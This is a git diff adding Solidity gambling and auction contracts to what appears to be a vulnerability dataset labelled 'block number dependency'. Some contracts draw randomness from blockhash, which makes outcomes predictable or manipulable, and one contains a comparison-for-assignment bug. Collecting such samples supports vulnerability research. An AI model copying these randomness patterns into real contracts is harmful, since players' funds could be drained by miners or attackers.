(round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); + } + + + function getCurrentRoundInfo() + public + view + returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + + return + ( + round_[_rID].ico, + _rID, + round_[_rID].keys, + round_[_rID].end, + round_[_rID].strt, + round_[_rID].pot, + (round_[_rID].team + (round_[_rID].plyr * 10)), + plyr_[round_[_rID].plyr].addr, + plyr_[round_[_rID].plyr].name, + rndTmEth_[_rID][0], + rndTmEth_[_rID][1], + rndTmEth_[_rID][2], + rndTmEth_[_rID][3] + + ); + } + + + function getPlayerInfoByAddress(address _addr) + public + view + returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + + if (_addr == address(0)) + { + _addr == msg.sender; + } + uint256 _pID = pIDxAddr_[_addr]; + + return + ( + _pID, + plyr_[_pID].name, + plyrRnds_[_pID][_rID].keys, + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff, + plyrRnds_[_pID][_rID].eth + ); + } + + + + + + + function buyCore(uint256 _pID, uint256 _affID, POOHMODatasets.EventReturns memory _eventData_) + private + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + core(_rID, _pID, msg.value, _affID, 0, _eventData_); + + + } else { + + if (_now > round_[_rID].end && round_[_rID].ended == false) + { + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit POOHMOevents.onBuyAndDistribute + ( + msg.sender, + plyr_[_pID].name, + msg.value, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.POOHAmount, + _eventData_.genAmount + ); + } + + + plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); + } + } + + + function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMODatasets.EventReturns memory _eventData_) + private + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + + + plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); + + + core(_rID, _pID, _eth, _affID, 0, _eventData_); + + + } else if (_now > round_[_rID].end && round_[_rID].ended == false) { + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit POOHMOevents.onReLoadAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.POOHAmount, + _eventData_.genAmount + ); + } + } + + + function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_) + private + { + + if (plyrRnds_[_pID][_rID].keys == 0) + _eventData_ = managePlayer(_pID, _eventData_); + + + if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000) + { + uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth); + uint256 _refund = _eth.sub(_availableLimit); + plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); + _eth = _availableLimit; + } + + + if (_eth > 1000000000) + { + + + uint256 _keys = (round_[_rID].eth).keysRec(_eth); + + + if (_keys >= 1000000000000000000) + { + updateTimer(_keys, _rID); + + + if (round_[_rID].plyr != _pID) + round_[_rID].plyr = _pID; + if (round_[_rID].team != _team) + round_[_rID].team = _team; + + + _eventData_.compressedData = _eventData_.compressedData + 100; + } + + + plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); + plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); + + + round_[_rID].keys = _keys.add(round_[_rID].keys); + round_[_rID].eth = _eth.add(round_[_rID].eth); + rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]); + + + _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_); + _eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_); + + + endTx(_pID, 0, _eth, _keys, _eventData_); + } + } + + + + + + function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) + private + view + returns(uint256) + { + return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); + } + + + function calcKeysReceived(uint256 _rID, uint256 _eth) + public + view + returns(uint256) + { + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].eth).keysRec(_eth) ); + else + return ( (_eth).keys() ); + } + + + function iWantXKeys(uint256 _keys) + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); + else + return ( (_keys).eth() ); + } + + + + + + function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) + external + { + require (msg.sender == address(PlayerBook)); + if (pIDxAddr_[_addr] != _pID) + pIDxAddr_[_addr] = _pID; + if (pIDxName_[_name] != _pID) + pIDxName_[_name] = _pID; + if (plyr_[_pID].addr != _addr) + plyr_[_pID].addr = _addr; + if (plyr_[_pID].name != _name) + plyr_[_pID].name = _name; + if (plyr_[_pID].laff != _laff) + plyr_[_pID].laff = _laff; + if (plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function receivePlayerNameList(uint256 _pID, bytes32 _name) + external + { + require (msg.sender == address(PlayerBook)); + if(plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function determinePID(POOHMODatasets.EventReturns memory _eventData_) + private + returns (POOHMODatasets.EventReturns) + { + uint256 _pID = pIDxAddr_[msg.sender]; + + if (_pID == 0) + { + + _pID = PlayerBook.getPlayerID(msg.sender); + bytes32 _name = PlayerBook.getPlayerName(_pID); + uint256 _laff = PlayerBook.getPlayerLAff(_pID); + + + pIDxAddr_[msg.sender] = _pID; + plyr_[_pID].addr = msg.sender; + + if (_name != "") + { + pIDxName_[_name] = _pID; + plyr_[_pID].name = _name; + plyrNames_[_pID][_name] = true; + } + + if (_laff != 0 && _laff != _pID) + plyr_[_pID].laff = _laff; + + + _eventData_.compressedData = _eventData_.compressedData + 1; + } + return (_eventData_); + } + + + + + function managePlayer(uint256 _pID, POOHMODatasets.EventReturns memory _eventData_) + private + returns (POOHMODatasets.EventReturns) + { + + + if (plyr_[_pID].lrnd != 0) + updateGenVault(_pID, plyr_[_pID].lrnd); + + + plyr_[_pID].lrnd = rID_; + + + _eventData_.compressedData = _eventData_.compressedData + 10; + + return(_eventData_); + } + + + function endRound(POOHMODatasets.EventReturns memory _eventData_) + private + returns (POOHMODatasets.EventReturns) + { + + uint256 _rID = rID_; + + + uint256 _winPID = round_[_rID].plyr; + uint256 _winTID = round_[_rID].team; + + + uint256 _pot = round_[_rID].pot; + + + + uint256 _win = (_pot.mul(48)) / 100; + uint256 _dev = (_pot / 50); + uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; + uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100; + uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH); + + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); + if (_dust > 0) + { + _gen = _gen.sub(_dust); + _res = _res.add(_dust); + } + + + plyr_[_winPID].win = _win.add(plyr_[_winPID].win); + + + + admin.transfer(_dev); + + flushDivs.transfer((_POOH.sub(_POOH / 3)).mul(2)); + + round_[_rID].pot = _pot.add(_POOH / 3); + + + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + + _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); + _eventData_.winnerAddr = plyr_[_winPID].addr; + _eventData_.winnerName = plyr_[_winPID].name; + _eventData_.amountWon = _win; + _eventData_.genAmount = _gen; + _eventData_.POOHAmount = _POOH; + _eventData_.newPot = _res; + + + rID_++; + _rID++; + round_[_rID].strt = now; + rndMax_ = timerLengths[determineNextRoundLength()]; + round_[_rID].end = now.add(rndMax_); + round_[_rID].pot = _res; + + return(_eventData_); + } + + function determineNextRoundLength() internal view returns(uint256 time) + { + uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6; + return roundTime; + } + + + + function updateGenVault(uint256 _pID, uint256 _rIDlast) + private + { + uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); + if (_earnings > 0) + { + + plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); + + plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); + } + } + + + function updateTimer(uint256 _keys, uint256 _rID) + private + { + + uint256 _now = now; + + + uint256 _newTime; + if (_now > round_[_rID].end && round_[_rID].plyr == 0) + _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); + else + _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); + + + if (_newTime < (rndMax_).add(_now)) + round_[_rID].end = _newTime; + else + round_[_rID].end = rndMax_.add(_now); + } + + + + function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_) + private + returns(POOHMODatasets.EventReturns) + { + + uint256 _dev = _eth / 100; + + uint256 _POOH; + if (!address(admin).call.value(_dev)()) + { + _POOH = _dev; + _dev = 0; + } + + + + uint256 _aff = _eth / 10; + + + + if (_affID != _pID && plyr_[_affID].name != '') { + plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); + emit POOHMOevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); + } else { + _POOH = _aff; + } + + + _POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100)); + if (_POOH > 0) + { + + uint256 _potAmount = _POOH / 2; + + flushDivs.transfer(_POOH.sub(_potAmount)); + + round_[_rID].pot = round_[_rID].pot.add(_potAmount); + + + _eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount); + } + + return(_eventData_); + } + + function potSwap() + external + payable + { + + uint256 _rID = rID_ + 1; + + round_[_rID].pot = round_[_rID].pot.add(msg.value); + emit POOHMOevents.onPotSwapDeposit(_rID, msg.value); + } + + + function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_) + private + returns(POOHMODatasets.EventReturns) + { + + uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; + + + + _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100)); + + + uint256 _pot = _eth.sub(_gen); + + + + uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); + if (_dust > 0) + _gen = _gen.sub(_dust); + + + round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); + + + _eventData_.genAmount = _gen.add(_eventData_.genAmount); + _eventData_.potAmount = _pot; + + return(_eventData_); + } + + + function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) + private + returns(uint256) + { + + + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + + + uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); + plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); + + + return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); + } + + + function withdrawEarnings(uint256 _pID) + private + returns(uint256) + { + + updateGenVault(_pID, plyr_[_pID].lrnd); + + + uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); + if (_earnings > 0) + { + plyr_[_pID].win = 0; + plyr_[_pID].gen = 0; + plyr_[_pID].aff = 0; + } + + return(_earnings); + } + + + function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_) + private + { + _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); + + emit POOHMOevents.onEndTx + ( + _eventData_.compressedData, + _eventData_.compressedIDs, + plyr_[_pID].name, + msg.sender, + _eth, + _keys, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.POOHAmount, + _eventData_.genAmount, + _eventData_.potAmount + ); + } + + + + + + bool public activated_ = false; + function activate() + public + { + + require(msg.sender == admin); + + + + require(activated_ == false); + + + activated_ = true; + + + rID_ = 1; + round_[1].strt = now + rndExtra_ - rndGap_; + round_[1].end = now + rndInit_ + rndExtra_; + } +} + + + + + +library POOHMODatasets { + + struct EventReturns { + uint256 compressedData; + uint256 compressedIDs; + address winnerAddr; + bytes32 winnerName; + uint256 amountWon; + uint256 newPot; + uint256 POOHAmount; + uint256 genAmount; + uint256 potAmount; + } + struct Player { + address addr; + bytes32 name; + uint256 win; + uint256 gen; + uint256 aff; + uint256 lrnd; + uint256 laff; + } + struct PlayerRounds { + uint256 eth; + uint256 keys; + uint256 mask; + uint256 ico; + } + struct Round { + uint256 plyr; + uint256 team; + uint256 end; + bool ended; + uint256 strt; + uint256 keys; + uint256 eth; + uint256 pot; + uint256 mask; + uint256 ico; + uint256 icoGen; + uint256 icoAvg; + } + struct TeamFee { + uint256 gen; + uint256 pooh; + } + struct PotSplit { + uint256 gen; + uint256 pooh; + } +} + + + + + +library KeysCalc { + using SafeMath for *; + + function keysRec(uint256 _curEth, uint256 _newEth) + internal + pure + returns (uint256) + { + return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); + } + + + function ethRec(uint256 _curKeys, uint256 _sellKeys) + internal + pure + returns (uint256) + { + return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); + } + + + function keys(uint256 _eth) + internal + pure + returns(uint256) + { + return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); + } + + + function eth(uint256 _keys) + internal + pure + returns(uint256) + { + return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); + } +} + + + + + + +interface PlayerBookInterface { + function getPlayerID(address _addr) external returns (uint256); + function getPlayerName(uint256 _pID) external view returns (bytes32); + function getPlayerLAff(uint256 _pID) external view returns (uint256); + function getPlayerAddr(uint256 _pID) external view returns (address); + function getNameFee() external view returns (uint256); + function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); +} + + +library NameFilter { + + function nameFilter(string _input) + internal + pure + returns(bytes32) + { + bytes memory _temp = bytes(_input); + uint256 _length = _temp.length; + + + require (_length <= 32 && _length > 0); + + require(_temp[0] != 0x20 && _temp[_length-1] != 0x20); + + if (_temp[0] == 0x30) + { + require(_temp[1] != 0x78); + require(_temp[1] != 0x58); + } + + + bool _hasNonNumber; + + + for (uint256 i = 0; i < _length; i++) + { + + if (_temp[i] > 0x40 && _temp[i] < 0x5b) + { + + _temp[i] = byte(uint(_temp[i]) + 32); + + + if (_hasNonNumber == false) + _hasNonNumber = true; + } else { + require + ( + + _temp[i] == 0x20 || + + (_temp[i] > 0x60 && _temp[i] < 0x7b) || + + (_temp[i] > 0x2f && _temp[i] < 0x3a)); + + if (_temp[i] == 0x20) + require( _temp[i+1] != 0x20); + + + if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) + _hasNonNumber = true; + } + } + + require(_hasNonNumber == true); + + bytes32 _ret; + assembly { + _ret := mload(add(_temp, 32)) + } + return (_ret); + } +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + if (a == 0) { + return 0; + } + c = a * b; + require(c / a == b, "SafeMath mul failed"); + return c; + } + + + function sub(uint256 a, uint256 b) + internal + pure + returns (uint256) + { + require(b <= a, "SafeMath sub failed"); + return a - b; + } + + + function add(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + c = a + b; + require(c >= a, "SafeMath add failed"); + return c; + } + + + function sqrt(uint256 x) + internal + pure + returns (uint256 y) + { + uint256 z = ((add(x,1)) / 2); + y = x; + while (z < y) + { + y = z; + z = ((add((x / z),z)) / 2); + } + } + + + function sq(uint256 x) + internal + pure + returns (uint256) + { + return (mul(x,x)); + } + + + function pwr(uint256 x, uint256 y) + internal + pure + returns (uint256) + { + if (x==0) + return (0); + else if (y==0) + return (1); + else + { + uint256 z = x; + for (uint256 i=1; i < y; i++) + z = mul(z,x); + return (z); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2658.sol b/smart_contract_dataset/block number dependency/2658.sol new file mode 100644 index 0000000000000000000000000000000000000000..ada4d63f339b5bae2f2e28accf14c077efa0caff --- /dev/null +++ b/smart_contract_dataset/block number dependency/2658.sol @@ -0,0 +1,435 @@ +pragma solidity ^0.4.23; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 100; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public bankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + address ZethrBankroll; + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + + + bankroll = zthbankrolladdr; + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (101 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + event Debug(uint a, string b); + + + struct playerRoll{ + uint200 tokenValue; + + uint48 blockn; + uint8 rollUnder; + } + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + + require(block.number < ((2 ** 48) - 1)); + + + + + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + + + + + + + + + + + + + + + + + + + + + + + + roll.blockn = uint40(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + + + + + + + } + + function finishBet() public + gameIsActive + { + _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private { + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + + + uint result; + if (block.number - roll.blockn > 255) { + + + result = 1000; + + } else { + + + result = random(100, roll.blockn, target) + 1; + } + + + + + + + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + if (delete_it){ + + delete playerRolls[target]; + } + + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + + + + + setMaxProfit(); + } + + + + } + + struct TKN {address sender; uint value;} + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + if (_from == bankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint chosenNumber = uint(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 10000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(bankroll, 0); + bankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2670.sol b/smart_contract_dataset/block number dependency/2670.sol new file mode 100644 index 0000000000000000000000000000000000000000..8ab76e7354d8bebe45291e272cccb39c11160b6a --- /dev/null +++ b/smart_contract_dataset/block number dependency/2670.sol @@ -0,0 +1,106 @@ +pragma solidity ^0.4.0; + +contract TwentyDollars { + + + struct Bid { + address owner; + uint256 amount; + } + + address owner; + uint256 public gameValue; + uint256 public gameEndBlock; + + Bid public highestBid; + Bid public secondHighestBid; + mapping (address => uint256) public balances; + + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + modifier onlyBiddingOpen() { + require(block.number < gameEndBlock); + _; + } + + modifier onlyBiddingClosed() { + require(biddingClosed()); + _; + } + + modifier onlyHighestBidder() { + require(msg.sender == highestBid.owner); + _; + } + + + + + constructor() public payable { + owner = msg.sender; + gameValue = msg.value; + gameEndBlock = block.number + 40000; + } + + + + + function bid() public payable onlyBiddingOpen { + + require(msg.value > highestBid.amount); + + + balances[secondHighestBid.owner] += secondHighestBid.amount; + secondHighestBid = highestBid; + highestBid.owner = msg.sender; + highestBid.amount = msg.value; + + + gameEndBlock += 10; + } + + function withdraw() public { + uint256 balance = balances[msg.sender]; + require(balance > 0); + balances[msg.sender] = 0; + msg.sender.transfer(balance); + } + + function winnerWithdraw() public onlyBiddingClosed onlyHighestBidder { + address highestBidder = highestBid.owner; + require(highestBidder != address(0)); + delete highestBid.owner; + highestBidder.transfer(gameValue); + } + + function ownerWithdraw() public onlyOwner onlyBiddingClosed { + + uint256 winnerAllocation = (highestBid.owner == address(0)) ? 0 : gameValue; + owner.transfer(getContractBalance() - winnerAllocation); + } + + function getMyBalance() public view returns (uint256) { + return balances[msg.sender]; + } + + function getContractBalance() public view returns (uint256) { + return address(this).balance; + } + + function biddingClosed() public view returns (bool) { + return block.number >= gameEndBlock; + } + + + + + function () public payable { + bid(); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2734.sol b/smart_contract_dataset/block number dependency/2734.sol new file mode 100644 index 0000000000000000000000000000000000000000..5322541acd39e0c71331e5b0b8fe672afd94a4c3 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2734.sol @@ -0,0 +1,132 @@ +pragma solidity ^0.4.24; + +contract Owned { + address public owner; + address public newOwner; + + event OwnershipTransferred(address indexed _from, address indexed _to); + + constructor() public { + owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address _newOwner) public onlyOwner { + newOwner = _newOwner; + } + function acceptOwnership() public { + require(msg.sender == newOwner); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + newOwner = address(0); + } +} + +interface HourglassInterface { + function() payable external; + function buy(address _playerAddress) payable external returns(uint256); + function sell(uint256 _amountOfTokens) external; + function reinvest() external; + function withdraw() external; + function exit() external; + function dividendsOf(address _playerAddress) external view returns(uint256); + function balanceOf(address _playerAddress) external view returns(uint256); + function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); + function stakingRequirement() external view returns(uint256); +} +contract DivMultisigHackable is Owned { +HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); + +function buyp3d(uint256 amt) internal{ +P3Dcontract_.buy.value(amt)(this); +} +function claimdivs() internal{ +P3Dcontract_.withdraw(); +} + + +struct HackableSignature { + address owner; + uint256 hackingcost; + uint256 encryption; +} +uint256 private ethtosend; +uint256 private nexId; +uint256 public totalsigs; +mapping(uint256 => HackableSignature) public Multisigs; +mapping(address => uint256) public lasthack; + +address public contrp3d = 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe; +uint256 private div; +uint256 private count; +constructor(uint256 amtsigs) public{ + for(nexId = 0; nexId < amtsigs;nexId++){ + Multisigs[nexId].owner = msg.sender; + Multisigs[nexId].hackingcost = 1; + Multisigs[nexId].encryption = 1; +} +totalsigs = amtsigs; +} +event onHarvest( + address customerAddress, + uint256 amount + ); +function harvestabledivs() + view + public + returns(uint256) + { + return ( P3Dcontract_.dividendsOf(address(this))) ; + } +function amountofp3d() external view returns(uint256){ + return ( P3Dcontract_.balanceOf(address(this))) ; +} +function Hacksig(uint256 nmbr) public payable{ + require(lasthack[msg.sender] < block.number); + require(nmbr < totalsigs); + require(Multisigs[nmbr].owner != msg.sender); + require(msg.value >= Multisigs[nmbr].hackingcost + Multisigs[nmbr].encryption); + Multisigs[nmbr].owner = msg.sender; + Multisigs[nmbr].hackingcost ++; + Multisigs[nmbr].encryption = 0; + lasthack[msg.sender] = block.number; +} +function Encrypt(uint256 nmbr) public payable{ + require(Multisigs[nmbr].owner == msg.sender); + Multisigs[nmbr].encryption += msg.value; + } + +function HackDivs() public payable{ + div = 